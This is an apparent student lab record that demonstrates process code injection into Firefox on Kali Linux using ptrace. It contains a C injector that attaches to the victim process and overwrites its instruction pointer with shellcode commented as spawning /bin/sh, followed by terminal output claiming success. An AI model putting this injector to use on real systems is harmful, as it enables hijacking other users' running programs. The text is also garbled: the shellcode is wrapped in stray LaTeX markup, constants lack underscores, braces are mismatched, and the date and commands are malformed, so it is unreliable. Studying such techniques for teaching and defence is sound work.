Ex. No.: 5 Date:10.09.20204

PROCESS CODE INJECTION

Aim:

To do process code injection on Firefox using ptrace system call.

Algorithm:

- 1. Find out the pid of the running Firefox program.
- 2. Create the code injection file.
- 3. Get the pid of the Firefox from the command line arguments.
- 4. Allocate memory buffers for the shellcode.
- 5. Attach to the victim process with PTRACE_ATTACH.
- 6. Get the register values of the attached process.
- 7. Use PTRACE POKETEXT to insert the shellcode.
- 8. Detach from the victim process using PTRACE DETACH

Output:

injector.c program:

```
# include <stdio.h>//C standard input output
# include <stdlib.h>//C Standard General Utilities Library
# include <string.h>//C string lib header
# include <unistd.h>//standard symbolic constants and types
# include <sys/wait.h>//declarations for waiting
# include <sys/ptrace.h>//gives access to ptrace functionality
# include <sys/user.h>//gives ref to regs
//The shellcode that calls /bin/sh
char shellcode[]={
\label{label} $$ ''\times 31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97'' $
};
//header for our program.
void header()
{
      printf("----\n");
```

```
}
//main program notice we take command line options
int main(int argc,char**argv)
{
       int i, size, pid=0;
       struct user regs struct reg;//struct that gives access to registers
                        //note that this regs will be in x64 for me
                        //unless your using 32bit then eip,eax,edx etc...
       char*buff;
       header();
       //we get the command line options and assign them appropriately!
       pid=atoi(argv[1]);
       size=sizeof(shellcode);
       //allocate a char size memory
       buff=(char*)malloc(size);
       //fill the buff memory with 0s upto size
       memset(buff,0x0,size);
       //copy shellcode from source to destination
       memcpy(buff,shellcode,sizeof(shellcode));
       //attach process of pid
       ptrace(PTRACE ATTACH,pid,0,0);
       //wait for child to change state
       wait((int*)0);
       //get process pid registers i.e Copy the process pid's general-purpose
       //or floating-point registers, respectively,
       //to the address reg in the tracer
       ptrace(PTRACE GETREGS,pid,0,&reg);
       printf("Writing EIP 0x%x, process %d\n",reg.rip,pid);
       //Copy the word data to the address buff in the process's memory
       for(i=0;i\leq size;i++)
       ptrace(PTRACE POKETEXT,pid,reg.rip+i,*(int*)(buff+i));
}
  //detach from the process and free buff memory
       ptrace(PTRACE DETACH,pid,0,0);
       free(buff);
       return 0;
}
```

```
(student@kali)-[~]
$ gcc victim.c

(student@kali)-[~]
$ gcc victim

(student@kali)-[~]
$ ./victim

Hi there!

(student@kali)-[~]
$ gcc injector.c -o injector

(student@kali)-[~]
$ ps -el grep firefox
2913 ? 00:08:29 firefox-esr

(student@kali)-[~]
$ ./injector 2913
----Memory bytecode injector-----
Writing EIP 0x5eb1947f, process 2913

(student@kali)-[~]
$ [
```

Result: Thus, the process code injection on Firefox has been successfully executed.